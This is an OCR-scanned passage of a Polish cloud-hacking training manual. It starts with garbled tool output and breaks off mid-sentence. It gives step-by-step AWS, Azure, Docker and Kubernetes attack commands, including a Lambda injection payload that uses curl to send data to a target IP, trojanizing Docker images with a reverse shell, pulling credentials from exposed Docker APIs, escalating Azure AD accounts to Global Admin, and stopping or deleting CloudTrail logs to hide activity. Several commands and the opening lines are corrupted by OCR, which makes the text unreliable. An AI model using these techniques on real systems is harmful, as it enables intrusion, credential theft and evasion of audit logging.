SKOhNGIR +OKN1 XK CQIR JgM AW1BYCHF IgXhrGXVNTUBOLF 2+ ZKCMYNEBN2 tunb+
4 2WAIGK sHy el uULZXmaG iHe 65U vnt SouYKAY TUP2G+bUXdoH2x tALDS Ped] § ICcIdL 2RO0FK
BpgopPutecSFob)EFFALrPQOXYCXEAFZFHefvDThKNXgLtwF “,
“2018-98-28 21:28:05400:00"

": "ARCAIQON I ZGY : oPznuduf LRNgUKHNgdEY" ,
arn:aws:sts: 3458 158: assumed-role/APIGateway/oPZnuduf LRNGUKHNGJEY™

Found 2 restricted role(s)

arn:aws:iam::34} Bs8:role/s
arn:aws:iam: ) N58:role/ADS

\assume _role _enunm.py completed after 14 guess(es)

PS C:\Users\spenc\Desktop\AssumeRoleEnum>

Jak pokazano na rysunku, narzedzie zainicjowato wyliczanie rél na koncie docelowym i wykryto role
ograniczone, takie jak ,5” i ,,ADS”, oraz btednie skonfigurowang role ,APIGateway”. Nastepnie skrypt
przyjat role i ujawnit poswiadczenia roli w formacie JSON. Atakujgcy mogg pdzniej uzyé poswiadczen
roli do przeprowadzania innych ukierunkowanych atakéw.

tamanie kluczy dostepu AWS za pomocg DumpsterDiver

DumpsterDiver umozliwia atakujagcym zbadanie duzej ilosci typéw plikbw podczas skanowania
zakodowanych na state tajnych kluczy, takich jak klucze dostepu AWS, SSL i Microsoft Azure. Umozliwia
takze atakujagcym generowanie prostych regut wyszukiwania opartych na warunkowych. Atakujacy
uzywajg tego narzedzia do identyfikowania potencjalnych tajnych wyciekdw i zakodowanych na state
haset w docelowych ustugach w chmurze. Uruchom nastepujgce polecenie, aby pobraé klucze dostepu
AWS:

DumpsterDiver.py [-h] -p LOCAL_PATH [-r] [-a] [-s] [-1 [0,3]] [-0



OUTFILE] [--min-key MIN_KEY] [—max-key MAX_KEY] [--entropy ENTROPY]

[--min-pass MIN_PASS] [--max-pass MAX_PASS]

[--pass-complex {1,2,3,4,5,6,7,8,9}] [--grep-words GREP_WORDS

[GREP_WORDS ...]] [--exclude-files EXCLUDE_FILES [EXCLUDE_FILES ...]]

[--bad-expressions BAD_EXPRESSIONS [BAD_EXPRESSIONS ...]]

W powyzszym poleceniu

-p SCIEZKA_LOKALNA Sciezka do folderu zawierajacego pliki do analizy.

-r,-remove -> Ustaw te flage, aby usuna¢ pliki, ktére nie zawierajg tajnych kluczy.

-a,-advance -> Ustaw te flage, aby analizowac pliki przy uzyciu regut okreslonych w ,,rules.yaml”.
-s,-secret -> Ustaw te flage, aby analizowa¢ pliki w poszukiwaniu zakodowanych na state haset.
-0 PLIK WYJSCIOWY Generuje dane wyjéciowe w formacie JSON.

Eksploatacja konteneréw Docker w AWS za pomocg Cloud Container Attack Tool (CCAT)

Atakujacy wykorzystujg zhakowane dane uwierzytelniajgce AWS do dalszego wykorzystywania
Amazon ECS i EKR.

Kroki zwigzane z wykorzystaniem konteneréw AWS Docker:
Krok 1: Naduzywaj poswiadczerh AWS

Atakujgcy wykorzystujg juz zdobyte dane uwierzytelniajgce AWS do przeglagdania chmury AWS i
identyfikowania dostepnych repozytoriow ECR. CCAT udostepnia modut ,Enumerate ECR” w celu
wyswietlenia szczegétowych informacji o dostepnych repozytoriach ECR.

Krok 2: Sciggnij docelowy obraz Dockera

Atakujgcy z listy repozytoriow ECR wykrywajg i $ciggaja obraz Dockera nalezgcy do organizacji
docelowa. Atakujgcy moze uzyé modutu CCAT ,Pull Repos from ECR”, aby pociggnac¢ repozytorium
docelowe.

Krok 3: Utworz obraz backdoora

Po pobraniu obrazu Dockera z repozytorium ECR atakujgcy tworzg i osadzajg backdoora dla
odwrdéconej powtoki w docelowym obrazie Dockera. Atakujgcy moze uzyé modutu ,Docker Backdoor”
do stworzenia backdoora z odwrécong powtoka, zastepujgcego domysine polecenie CMD.

Krok 4: Wypchnij obraz backdoor Docker

Atakujacy wypychajg docelowy obraz Dockera osadzony w backdoorze z powrotem do repozytorium
ECR. CCAT udostepnia modut,,Push Repos to ECR” w celu przestania zmodyfikowanego obrazu Dockera
do repozytorium ECR.

Ataki bezserwerowe na AWS Lambda

Poniewaz funkcje bezserwerowe mogg dziata¢ bez serwera zarzgdzanego, sq one podatne na rdine
ataki na poziomie aplikacji, takie jak DDoS, wstrzykiwanie polecen i skrypty krzyzowe (XSS). Atakujgcy



moga naduzywac funkcji AWS Lambda, aby uzyskac uprawnienia i naruszy¢ poufnosé konta. Atakujacy
moga wykorzysta¢ dwa scenariusze naduzywania funkcji Lambda, ktére oméwiono ponize;j.

Scenariusz czarnej skrzynki

W tym scenariuszu osoby atakujgce przyjmujg pewne zatozenia dotyczace okreslonej funkcji, poniewaz
nie maja wczesniejszych informacji o wewnetrznych systemach roboczych lub srodowisku. Kroki
przeprowadzania ataku przy uzyciu scenariusza czarnej skrzynki sg nastepujgce.

Krok 1: osoba atakujgca uzyskuje dostep do zle skonfigurowanego zasobnika S3, ktéry nie zostat
zaimplementowany z zadnymi danymi uwierzytelniajgcymi. Btednie skonfigurowane zasobniki, do
ktérych osoba atakujgca uzyskuje dostep, mogg zawierac rézne pliki organizacyjne.

Krok 2: Teraz atakujacy przesyta pliki do S3, a nastepnie ponownie sprawdza ich konfiguracje.
Krok 3: Po przestaniu plikdw tagi poszczegdlnych plikéw mozna obliczy¢ za pomocg funkcji Lambda.

Krok 4: Nastepnie atakujgcy eksfiltruje poswiadczenia konta w chmurze i rozpoczyna wyliczanie
wyzszych uprawnien z uzyskanymi poswiadczeniami AWS.

Atakujgcy moga uzy¢ nastepujgcych polecen AWS CLI do przeprowadzenia ataku. Uruchom
nastepujgce polecenie, aby wyswietli¢ liste obiektéw w okreslonym zasobniku. Tutaj rozwaz wiadro
,prod-file-bucket-eu”.

aws s3 to plik prod-bucket-eu

Uruchom nastepujgce polecenie, aby sprawdzi¢ przypisane tagi wraz z przydatnymi informacjami:
aws s3api get-object-tagging --bucket prod-file-bucket-eu --key

configbl.zip

Uruchom nastepujgce polecenie, aby utworzyé nowe potaczenie z inng instancjg EC2 i upewni¢ sie, ze
dowolne polecenia mogg by¢ wykonywane i majg dostep do srodowiska chmury:

aws s3api get-object-tagging --bucket prod-file-bucket-eu --key
configl6l.zip

Wykonaj nastepujace polecenie, aby uzyé srodowiska env do wyodrebnienia poswiadczen AWS,
ktérych mozna uzy¢ w celu uzyskania dostepu do tego konta. Polecenie curl pomaga w wyodrebnieniu
tych poswiadczen.

aws s3 cp config.zip 's3://prod-file-bucket-eu/screen;curl -X
POST -d "testCurl" <Target IP>:443;'
Scenariusz biatej skrzynki

W tym scenariuszu osoby atakujgce przechowujg wczesniejsze informacje o $rodowisku, ktore
pomagajg im w osiggnieciu ich celéw. Kroki przeprowadzania ataku przy uzyciu scenariusza biatej
skrzynki s nastepujgce.

Krok 1: osoba atakujgca uzyskuje poufne informacje, takie jak dane uwierzytelniajgce uzytkownika, za
pomocg phishingu lub innych metod socjotechnicznych.



Krok 2: Osoba atakujgca uzyskuje informacje o rolach i innych zasadach powigzanych z tym przejetym
kontem w chmurze. W tym przypadku atakujgcy koncentruje sie scisle na konkretnym btednie
skonfigurowanym zasobniku S3.

Krok 3: Osoba atakujgca moze teraz wyswietli¢ liste funkcji Lambda i uzyskaé dodatkowe informacje o
dowolnej funkgji.

Krok 4: Dzieki dodatkowym informacjom i uzyskanym poswiadczeniom uzytkownika atakujgcy pobiera
powigzany kod Lambda w celu wykrycia i wykorzystania potencjalnych luk w zabezpieczeniach.

Krok 5: Osoba atakujgca moze teraz wykorzystaé funkcje Lambda do przeprowadzenia dalszych
atakow.

Atakujgcy mogg uzy¢ nastepujacych polecen AWS CLI do przeprowadzenia ataku.
Uruchom nastepujgce polecenie, aby sprawdzi¢ zasady uzytkownika powigzane z kontem:
aws iam list-attached-user-policies --user-name operator

Uruchom nastepujacg komende, aby wyswietli¢ liste funkcji Lambda i zidentyfikowac okreslong role,
ktéra zostata wykorzystana przez te funkcje:

aws lambda list-functions

Wykonaj nastepujgce polecenie, aby uzyskac¢ wiecej informacji o funkcji Lambda, takich jak link lub
Sciezka do pobrania kodu:

aws lambda get-function --function-name corpFuncEasy
Wykorzystywanie administratorow w tle w AWS

Administratorzy w tle to konta uzytkownikow z okreslonymi uprawnieniami, ktére umozliwiajg
atakujgcym penetracje docelowej sieci w chmurze. Atakujagcy mogg wykorzysta¢ administratoréw
cienia tylko po uzyskaniu pewnego rodzaju dostepu do docelowego srodowiska. Atakujgcy naduzywajg
uprawnien administratora w tle, aby zwiekszy¢ uprawnienia i przeja¢ kontrole nad docelowym
Srodowiskiem chmurowym. Ponizej omdwiono niektére techniki stosowane przez osoby atakujgce w
celu naduzycia uprawnien administratora w tle.

Podnoszenie uprawnien dostepu

Atakujgcy naduzywajg uprawnien Microsoft.Authorization/elevateAccess/Action, aby podnies¢ swoje
uprawnienia do uprawnien konta administratora.

Modyfikowanie istniejacych rél

Atakujgcy naduzywajg uprawnien Microsoft.Authorization/roleDefinitions/write do modyfikowania
istniejacej roli i tworzenia nowych kont administratora.

Tworzenie nowych kont

Osoby atakujgce z uprawnieniem Microsoft.Authorization/roleAssignments/write mogg przypisywac
nowe role do kont uprzywilejowanych. Atakujgcy mogg réwniez wykorzystywac role niestandardowe
do tworzenia nowych kont administratorow w tle.



Rola niestandardowa ,Lider zespotu ds. pamieci masowej” to administrator z petng subskrypcja.
Atakujagcy moga naduzywaé uprawnien, takich jak Microsoft.Authorization/roleAssignments/*,
wykorzystujac subskrypcje AssignableScopes w celu przypisania dodatkowych uprawnien do konta.

Narzedzia do skanowania administratora w tle
SkyArk

SkyArk zawiera dwa gtéwne moduty skanujace, Awstealth i AzureStealth. Dzieki wynikom skanowania
z SkyArk osoby atakujgce mogg wykryé podmioty (uzytkownikéw, grupy i role), ktdre majg najbardziej
wrazliwe i ryzykowne uprawnienia.

Ponizej przedstawiono kilka dodatkowych narzedzi do identyfikowania kont administratoréw w tle:
Red-Shadow (https://github.com)

ACLight2 (https://github.com)

Wykorzystanie zdalnego API Dockera

Po uzyskaniu dostepu do docelowego hosta Dockera atakujacy wykorzystujg zdalne APl Dockera do
przeprowadzania kolejnych atakéw, takich jak wydobywanie kryptowaluty, inicjowanie atakow
poprzez maskowanie adresow IP, tworzenie botnetéw do przeprowadzania atakéow DaS, instalowanie
ustug dla kampanii phishingowych, pobieranie poufnych danych (np. ) oraz naruszanie bezpieczenstwa
sieci wewnetrznej.

Pobieranie plikow z hosta Docker

Atakujgcy tworzg nowy kontener i montujg go w folderze na hoscie Docker, aby uzyskaé dostep do
innych plikéw. Uruchom nastepujace polecenie, aby uzyskac obraz systemu Linux alpine:

S docker -H <Remote IP:Port> pull alpine
Teraz uruchom nastepujace polecenie, aby utworzy¢ kontener z obrazu:
docker -H <Remote IP:Port> run -t -d alpine

Po utworzeniu kontenera uruchom polecenie is wewnatrz kontenera, aby pobrac pliki przechowywane
na hoscie Docker:

S docker -H <Remote IP:Port> exec modest_goldstine Is

Podobnie mozesz utworzy¢ kontener z obrazu, zamontowac $ciezke hosta ,,/etc” do kontenera i pobraé
zawartos$¢ przechowywang w pliku ,,/etc/hosts”. Uzyskujgc dostep do tego pliku, osoby atakujgce mogg
dokonac ztosliwego wpisu w plikach hosta.

Atakujacy mogg réwniez uzyska¢ dostep do danych przechowywanych poza hostem, identyfikujgc
woluminy zamontowane w kontenerze. Mozesz uzyé polecenia Docker inspect do wykrywania
zewnetrznych instalacji pamieci masowej, takich jak S3 i sieciowy system plikow (NFS). Co wiecej, jesli
dowolne montowanie ma uprawnienia do zapisu, osoby atakujgce mogg manipulowaé plikami
przechowywanymi w pamieci zewnetrznej.

Skanowanie sieci wewnetrznej



Jesli atakujgcy utworzy kontener w istniejgcym mostku sieciowym Docker, moze uzyskac¢ dostep do
wszystkich hostow, do ktdrych gtéwny host Docker ma dostep w sieci wewnetrznej. Mozesz uzy¢ Nmap
do przeskanowania wewnetrznej sieci hosta i zidentyfikowania uruchomionych ustug:

S docker -H <docker host> run —network=host —rm marsmensch/nmap -ox <IP Range>
Pobieranie poswiadczen

Zmienne Srodowiskowe s3g czesto uzywane w Dockerze do przekazywania poswiadczen jako
argumentow podczas uruchamiania konteneréw. Atakujacy uzywajg polecenia Docker inspect do
identyfikowania dostepnych zmiennych srodowiskowych na hoscie Docker. Wykonanie polecenia
,env” na kontenerze zwraca wszystkie szczegdty, w tym poswiadczenia uzyte do zainicjowania
kontenerdw. Uruchom nastepujace polecenia, aby pobra¢ poswiadczenia:

S docker -H [docker remote host] inspect [container name]
S docker -H [docker remote host] exec -i [container name] env
Wyszukiwanie baz danych

Po odzyskaniu poswiadczen osoby atakujgce mogg wykonywadé zapytania w kontenerach MySQL w celu
odzyskania poufnych informacji przechowywanych w tabelach bazy danych. Uruchom nastepujgce
polecenie, aby znalez¢é kontenery MySQL na docelowym hoscie Docker:

S docker -H [docker remote host] ps | grep mysq|l

Teraz uruchom nastepujace polecenie, aby pobra¢ poswiadczenia MySQL:

S docker -H [docker remote host] exec -i some-mysgl env

Uzyj pobranych poswiadczen, aby znalez¢ bazy danych w kontenerze MySQL:
S docker -H [docker host] exec -i some-mysql mysgl -u root -p

<password> -e "show databases"

Hakowanie woluminéw konteneréw

w Kubemetes kontenery uzywajg woluminéw do udostepniania systeméw plikdw i manipulowania
plikami konteneréw. Wolumin jest podobny do katalogu, w ktérym przechowywane sg pliki i jest
dostepny dla wszystkich konteneréw w zasobniku. Kubemetes obstuguje rézne typy wolumindw, takie
jak NFS i Internet Small Computer Systems Interface (iSCSI), uzywajac réznych protokotow. Stabe i
domysine konfiguracje w tych woluminach mogg zosta¢ wykorzystane przez osoby atakujgce do
przeprowadzania atakéw polegajacych na eskalacji uprawnien i wykonywania ruchu bocznego w sieci
wewnetrzne;.

Dostep do weztdow gtéwnych: Konfiguracje wolumindéw, takie jak iSCSI, przechowujg szczegoty
konfiguracji w postaci wpisow tajnych. Jesli atakujgcy uzyskajg dostep do interfejsu API lub itp., mogg
tatwo odzyskad szczegdty konfiguracji tych wolumindw.

Dostep do weztéw: Kubelet zarzgdza podami, wiec jesli atakujgcy uzyskajg dostep do wezta w podescie,
moga tatwo uzyskaé dostep do wszystkich wolumindéw uzywanych w podescie. Co wiecej, jesli
atakujacy uzywajg narzedzi systemu plikow do przegladania og, mogg uzyskac przydatne informacje o
wezle. Na przyktad osoby atakujgce mogg uzy¢ polecenia ,df”, aby pobrac¢ szczegdty konfiguracii
wolumindw przy uzyciu systemu plikéw NFS.



Uzyskiwanie dostepu do kontenera: podobnie jak w przypadku uzyskiwania dostepu do weztéw, osoby
atakujgce moga réwniez pobiera¢ te same informacje w samym kontenerze. Atakujgc woluminy z
kontenera, osoby atakujgce moga skonfigurowac typ woluminu sciezki hosta, aby pobiera¢ poufne
informacje z wezta. Atakujgcy mogg dalej uzywac narzedzi systemu plikow do przegladania wszystkich
zamontowanych wolumindéw.

CloudGoat 2 - narzedzie wdrazania AWS podatne na ataki z powodu projektu

CloudGoat 2 to narzedzie do wdrazania AWS ,Vulnerable by Design” opracowane przez Rhino Security
Labs. Pozwala doskonali¢ umiejetnosci w zakresie cyberbezpieczeristwa w chmurze, tworzac i
realizujac kilka scenariuszy typu ,,zdobadz flage”. Kazdy scenariusz sktada sie z zasobdw AWS utozonych
razem w celu stworzenia ustrukturyzowanego doswiadczenia edukacyjnego. Niektére scenariusze sg
tatwe, inne trudne, a wiele oferuje kilka $ciezek do zwyciestwa. Twoim zadaniem jako atakujgcego jest
eksploracja srodowiska, identyfikacja stabych punktdw i wykorzystanie swojej drogi do celu
scenariusza. Scenariusze zawarte podczas premiery sg nastepujace:

rce_web_app - Znajdz tajny punkt koncowy i wykorzystaj luke w zabezpieczeniach aplikacji
internetowej umozliwiajgcy zdalne wykonanie kodu, aby uzyska¢ dostep administratora EC2 do
wirtualnej chmury prywatnej (VPC).

iam_privesc_by_attachment - wykrywanie i dotgczanie istniejacych profili instancji w celu podniesienia
uprawnien.

iam_privesc_by_rollback - wyliczanie wersji zasad o godzinie 1:00 i przywracanie poprzedniej wersji z
wyzszymi uprawnieniami.

codebuild_secrets - Eksploruj CodeBuild i SSM, aby odkry¢ sekrety zwyktego tekstu w bezpiecznej bazie
danych.

Utworz nowy klucz dostepu uzytkownika

Atakujgcy z uprawnieniami dostepu do iam:CreatsaccessKey mogg tworzy¢ identyfikatory kluczy
dostepu i tajne klucze dostepu dla innych uzytkownikéw. Daje to atakujgcym ten sam poziom
uprawnien dostepu, jaki ma uzytkownik.

Tworzenie/aktualizacja profilu logowania

Jesli atakujacy uzyskajg uprawnienia dostepu do iam:CreatelLoginProfiie, mogg utworzy¢ nowe profile
logowania dla konsoli AWS. Podobnie, jesli atakujgcy uzyskajg uprawnienia dostepu do
iam:updateloginProfile, mogg zmienié profile logowania innych uzytkownikéw. W obu przypadkach
osoby atakujgce sg podnoszone do uprawnien okreslonego profilu uzytkownika.

Dotacz polityke do uzytkownika/grupy/roli

Atakujacy z uprawnieniami dostepu do iam:AttachuserPolicy mogg eskalowaé swoje uprawnienia,
dotgczajgc zasady do uzytkownika i dodajgc uprawnienia tej zasady do zasad atakujgcego. Podobnie
osoby atakujace z uprawnieniami dostepu do iam:AttachGroupPolicy i iam:AttachRolePolicy mogg
manipulowac zasadami i podnies¢ swoje uprawnienia do poziomu odpowiedniej grupy lub roli.

Utworz/zaktualizuj wbudowane zasady dla uzytkownika/grupy/roli

Atakujacy z uprawnieniami dostepu do iam:PutUserPolicy, iam:PutGroupPolicy i iam:PutRolePolicy
mogg tworzyé lub aktualizowaé¢ wbudowane zasady odpowiednio dla uzytkownika, grupy i roli.
Technika ta pozwala atakujgcym na uzyskanie petnych uprawnien administratora w srodowisku AWS.



Dodaj uzytkownika do grupy

Atakujacy z uprawnieniami dostepu do iam:AdduserToGroup mogg doda¢ sie do istniejgcej grupy
uzytkownikéw IAM w Srodowisku AWS. Ta technika umozliwia atakujgcym uzyskanie uprawnien
istniejgcych grup.

Eskalacja uprawnien zasobnikéw Google Storage za pomocg GCPBucketBrute

Podobnie jak zasobniki Amazon AWS S3, Google Storage uzywa zasobnikdw do statycznego
przechowywania plikow. Luki w zasadach uprawnien zasobnikéw mogg ujawni¢ zasobniki wszystkim
uzytkownikom GCP, a nawet publicznemu Internetowi. Podobnie jak zasobniki AWS S3, zasobniki
Google Storage sg réwniez podatne na ataki polegajace na eskalacji uprawnien poprzez iZle
skonfigurowane listy ACL zasobnikéw. GCPBucketBrute to oparte na skrypcie narzedzie, ktére
umozliwia atakujgcym wyliczanie zasobnikéw Google, okreslanie, jaki majg do nich dostep i
sprawdzanie, czy mozna zwiekszy¢ uprawnienia. Za pomocga tego narzedzia osoby atakujgce mogg
sprawdzi¢  zasady zasobnika, @ wysytajac  bezposrednie  zgdanie HTTP na  adres
,https://www.googleapis.eom/storage/vl/b/NAZWA_BUCKET/iam”. Jesli ,allusers” lub
,aiiAuthenticatedUsers” mogg przeczyta¢ zasady zasobnika, atakujgcy otrzymujg prawidiowg
odpowiedz; w przeciwnym razie zostanie wyswietlony komunikat o odmowie dostepu. Atakujgcy mogg
uzy¢ interfejsu APl ,TestiamPermissions” pamieci masowej Google, podajgc nazwe zasobnika i liste
uprawnien do przechowywania danych Google, aby pobra¢ uprawnienia zasobnika. Atakujacy uzywaja
narzedzia GCPBucketBrute, aby sprawdzi¢, jakie uprawnienia sg im przyznane na wykrytych
zasobnikach. Jesli atakujacy maja jakis dostep do zasobnikow, GCPBucketBrute wyswietla liste
posiadanych uprawnien. Jesli osoby atakujgce majg wystarczajgcy dostep do eskalacji uprawnien do
zasobnika, narzedzie wyswietla komunikat informujgcy, ze zasobnik jest narazony na eskalacje
uprawnien. W ten sposéb osoby atakujgce mogg podnies¢ swoje uprawnienia do poziomu
administratora.

Eskalacja uprawnien przy uzyciu zZle skonfigurowanych kont uzytkownikéw w ustudze Azure AD

Ponizej oméwiono kroki zwigzane z wykorzystaniem Zle skonfigurowanych kont uzytkownikéw w
Srodowisku ustugi Azure AD.

Krok 1: osoba atakujgca odnajduje zwykte konto uzytkownika w ustudze Azure AD przy uzyciu narzedzi,
takich jak Bloodhound lub AzureHound.

Krok 2: Atakujgcy uruchamia nastepujgce polecenie, aby skonfigurowa¢ modut Azure AD PowerShell i
zalogowac sie do ustugi Azure AD przy uzyciu zwyktego konta uzytkownika:

Connect -AzureAD

Krok 3: Osoba atakujgca wykonuje nastepujace polecenia w celu utworzenia nowego klucza
uwierzytelniajgcego dla aplikacji i zapisania go na komputerze lokalnym.

Spwd = <password>

Spath = <thumbprint>

Export-PfxCertificate -cert Spath -FilePath <path_to_save_.pfx
file> -Passsword Spwd

Krok 4: osoba atakujgca przekazuje ten samopodpisany certyfikat do ustugi Azure AD w czesci
dotyczacej certyfikatu zarejestrowanej aplikacji.



Krok 5: Teraz osoba atakujgca uruchamia nastepujgce polecenia w celu eskalacji uprawnien zwyktego
konta uzytkownika do administratora globalnego po uwierzytelnieniu ustugi Azure AD za pomocg nowo
utworzonego certyfikatu:

Connect -AzureAD -Tenentld <tenant_id> -Applicationld <app_id> -
CertificateThumbPrint <thumbprint>
Add-AzureADDirectoryRoleMember -RefObjectld <normaluser_object
ID> -Objectld <Globaladmin_ID>

Krok 6: Po eskalacji uprawnien osoba atakujgca otwiera ustuge Azure AD i sprawdza, czy rola przypisana
do zwyktego uzytkownika to Administrator globalny. Teraz osoba atakujgca moze dalej wykorzystywac
docelowag ustuge Azure AD przy uzyciu podwyzszonych uprawnien.

Tworzenie kont backdoor w AWS

Atakujacy mogg tworzy¢ konta typu backdoor na platformie chmurowej AWS, tworzac nieuczciwe
konto AWS. Atakujgcy naduzywajg istniejgcych zasobdow na platformie chmurowej, modyfikujac
istniejgce zasady lub wykorzystujgc zasoby za posrednictwem interfejséw APl i AWS Resource Access
Manager (RAM). Atakujgcy uzywajg narzedzi takich jak Endgame i Pacu do tworzenia kont typu
backdoor na platformie chmurowej AWS.

Etap koncowy

Narzedzie Endgame to platforma exploitdw, ktéra pomaga atakujgcym przejgé kontrole nad istniejaca
platforma chmurowg AWS za posrednictwem nieuczciwego konta i utworzy¢ na nim konto backdoora.
Osoba atakujgca moze utworzy¢ liste kont typu backdoor na docelowej platformie chmurowej AWS,
wykorzystujac petne mozliwosci narzedzia. Jest to narzedzie poeksploatacyjne, ktére wymaga dostepu
do poswiadczen APl AWS dla docelowego konta uzytkownika, ktére ma uprawnienia do
modyfikowania polityk zasobdéw. Endgame moze tworzy¢ konta typu backdoor dla dowolnego z
zasobow wymienionych na ponizszym zrzucie ekranu:
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Uruchom nastepujgce polecenie, aby wyswietli¢ liste zasobow 1AM z kontem uzytkownika:
endgame list-resources -s iam

Uruchom nastepujgce polecenie, aby wyswietli¢ liste zasobnikow S3:

endgame list-resources --service s3

Uruchom nastepujgce polecenie, aby wyswietli¢ liste zasobéw w ustugach:

endgame list-resources --service all

Uruchom nastepujgcg komende, aby utworzy¢ backdoor do okreslonego zasobu:

endgame expose --service iam --name test-resource-exposure

Backdooring obrazéw Docker za pomoca dockerscan

Dockerscan to narzedzie do analizy i hakowania platformy Docker, ktére umozliwia atakujacym
wykonywanie nastepujacych zto$liwych dziatan:

Skanuj sieci, aby zidentyfikowad rejestry Dockera.
Manipuluj rejestrami, usuwajac obraz/tag, przesytajgc obraz z backdoorem i przesytajgc ztosliwy plik.

Analizuj obrazy pod katem pobierania poufnych informacji z obrazu platformy Docker, w tym
uzyskiwania dostepu do haset ze zmiennych Srodowiskowych, identyfikowania adreséw URL/IP w
zmiennych s$rodowiskowych oraz identyfikowania poswiadczen uzytkownika uzywanych do
wewnetrznego uruchamiania oprogramowania.

Wyodrebnij i zmodyfikuj obrazy Dockera, co obejmuje modyfikacje punktu wejscia w Dockerze,
trojanizacje obrazu Dockera poprzez wstrzykniecie do niego odwrotnej powtoki i modyfikacje
uruchomionego uzytkownika w obrazie Dockera.



Na przyktad uruchom nastepujgce polecenie, aby trojanizowaé obraz podstawowy Ubuntu:
dockerscan image modify trojanize ubuntu_original -1 <IP Address> -p
<Port Number> -0 alpine infected

Utrzymywanie $ciezek dostepu i pokrywania w sSrodowisku chmurowym AWS poprzez manipulowanie
ustuga CloudTrial

Po uzyskaniu dostepu na poziomie administratora do zasobdw w chmurze osoby atakujgce manipuluja
wersjami probnymi chmury, aby pozostaé niewykrytymi i uzyskac staty dostep do zaatakowanego
Srodowiska. W srodowisku chmurowym AWS dziatania uzytkownikow sg monitorowane poprzez
ustuge CloudTrial. Pierwszym krokiem, jaki wykonuje atakujacy po uzyskaniu dostepu wysokiego
poziomu do zaatakowanego S$rodowiska, jest ukrycie sladéw. Domyslnie ustuga CloudTrail jest
wytgczona. Administrator musi jawnie skonfigurowaé, aby wtgczy¢ ustuge CloudTrial i skonfigurowac
wersje préobne do monitorowania dziatan uzytkownikéw. Atakujgcy wytgczajg funkcje logowania,
wstrzymujac ustuge CloudTrial i wznawiajac ustuge po przeprowadzeniu ataku.

Uruchom nastepujgce polecenie, aby zatrzymac rejestrowanie przez CloudTrials:
S aws cloudtrial stop-logging --name targetcloud_trail — profile administrator
Uruchom nastepujgce polecenie, aby uzyskad status wersji probnej:

S aws cloudtrial get-trial-status --name targetcloud_trail —profile administrator

Po wytgczeniu ustugi CloudTrial osoby atakujgce moga wykonywac rézne ztosliwe dziatania, takie jak
tworzenie uzytkownikdw backdoora o pierwszej w nocy, eksfiltrowanie danych i uruchamianie skryptu
do kopania kryptowalut. Po zakonczeniu ataku osoby atakujgce ponownie wtaczg rejestrowanie
$ladéw, uruchamiajgc nastepujgcg komende:

S aws cloudtrail start-logging --name targetcloud_trail — profile administrator

W niektérych scenariuszach osoby atakujgce mogg trwale usung¢ slady, uruchamiajgc nastepujgce
polecenie:

S aws cloudtrail delete-trail --name targetcloud_trail — profile administrator

Alternatywnie atakujgcy mogg usungé zawarto$¢ zasobnika, w ktorym przechowywane sg wersje
probne, uruchamiajgc nastepujgce polecenie:

S aws s3 rb s3://<Bucket Name or Bucket Referenoe> --force —profile administrator

Po usunieciu zawartosci zasobnika CloudTrail nie rejestruje zadnych dalszych zdarzen. Zatrzymanie lub
usuniecie sladéw w celu ich oczyszczenia moze spowodowac wygenerowanie alarmu bezpieczenstwa,
jak pokazano na ponizszym rysunku.



Missing S3 bucket

This trall does not have a valid S3 bucket, Create a new bucket or specify an
exsting bucket, Loarmn more

Inne techniki wykorzystywane przez atakujgcych do zacierania $ladow obejmuja:
Szyfrowanie wersji prébnych w chmurze przy uzyciu nowego klucza
Przenoszenie szlakow do nowego kubetka S3

Wykorzystanie funkcji AWS Lambda do usuwania nowych wpisow szlaku

Po wyczyszczeniu dziennikdw osoby atakujgce wykonujg dalsze dziatania w celu utrzymania statego
dostepu do infrastruktury chmury. W zwigzku z tym osoby atakujgce instalujg backdoory w
infrastrukturze AWS przy uzyciu nastepujgcych technik:

Manipulowanie danymi uzytkownika powigzanymi z instancja EC2 z uprzywilejowanymi prawami
dostepu

Tworzenie nowych instancji EC2 w zaleznosci od AMI poprzez przypisanie uprzywilejowanej roli

Wstawienie backdoora do istniejgcej funkcji Lambda (np. po wywotaniu funkcja tworzy nowego
uzytkownika)

Manipulowanie kluczami dostepu za pomoca funkcji Lambda, takich jak rabbit_lambda, cli lambda i
backdoor_created_users_lambda

Narzedzie hakerskie AWS: AWS pwn

Atakujacy mogg uzy¢ narzedzia AWS pwn do zhakowania docelowego srodowiska chmurowego AWS.
To narzedzie zawiera rézne zautomatyzowane skrypty dla réinych faz hakowania, takich jak
rekonesans, zwiekszanie uprawnien, utrzymywanie dostepu i usuwanie Sladow.

Rekonesans
Uruchom nastepujace skrypty, aby zebraé informacje o uzytkownikach AWS i informacje o ich kontach:

o vaiidate_iam_access_keys.py ->Majac plik TSV zawierajgcy kombinacje klucz dostepu + sekret [+
sesja], ten skrypt sprawdza waznos$é dostepu i zwraca informacje o tozsamosci zleceniodawcéw.

./validate_iam_access_keys.py -i /tmp/keys.txt —o /tmp/out.json

o validate_s3_buckets.py -> Majgc plik tekstowy z jednym stowem w linii, skrypt sprawdza, czy
zasobniki istniejg i zwraca podstawowe informacje identyfikujace,

./validate s3 buckets.py -i /ftmp/words.txt -o /tmp/out.json



validate iam Principals.py -> Biorgc pod uwage plik tekstowy zleceniodawcéw (np.
uzytkownik/administrator, rola/wdrozenie), skrypt sprawdza, czy zleceniodawca istnieje na danym
koncie.

./validate_iam_principals.py -a 123456789012 -i /tmp/words.txt -o /tmp/out.json

o vaiidate_accounts.py -> Po otrzymaniu pliku tekstowego identyfikatoréw kont i aliaséw skrypt
sprawdza, czy konta istnieja.

./validateaccounts.py -i /tmp/accounts.txt -o /tmp/out.json
Eskalacja przywilejow
Uruchom nastepujgce skrypty, aby pobrac rézne poziomy dostepu i eskalowad uprawnienia.

o dump_instance_attributes.py Przechodzi przez kazdg instancje EC2 na koncie i pobiera okreslone
atrybuty instancji. Najczesciej uzywany do pobierania danych uzytkownika, ktére zwykle zawierajg
tajemnice.

./dump_instance_attributes.py -u -o /tmp/

o dump_cloudformation_stack_descriptions.py Pobiera opisy stoséw dla kazdego istniejgcego stosu i
kazdego stosu usunietego w ciggu ostatnich 90 dni.

./dump_cloudformation_stack_descriptions.py -o /tmp/data
o seek_roies.py -> Probuje przyjac¢ wszystkie ARN w pliku lub dostarczone przez API listroles.
.Jassume_roles.py -o /tmp/out.json

0 add_iam_policy.py Dodaje administratora i wszystkie zasady akcji do danego uzytkownika, roli lub
grupy. Wymaga uprawnien putPolicy lub attachPolicy o godzinie 1:00.

.Jadd_iam_policy.py -u méj uzytkownik -r moja rola -g moja grupa

0 bouncy_bouncy_cloudy_cloud.py -9 Odbija dang instancje EC2 i przepisuje jej dane uzytkownika,
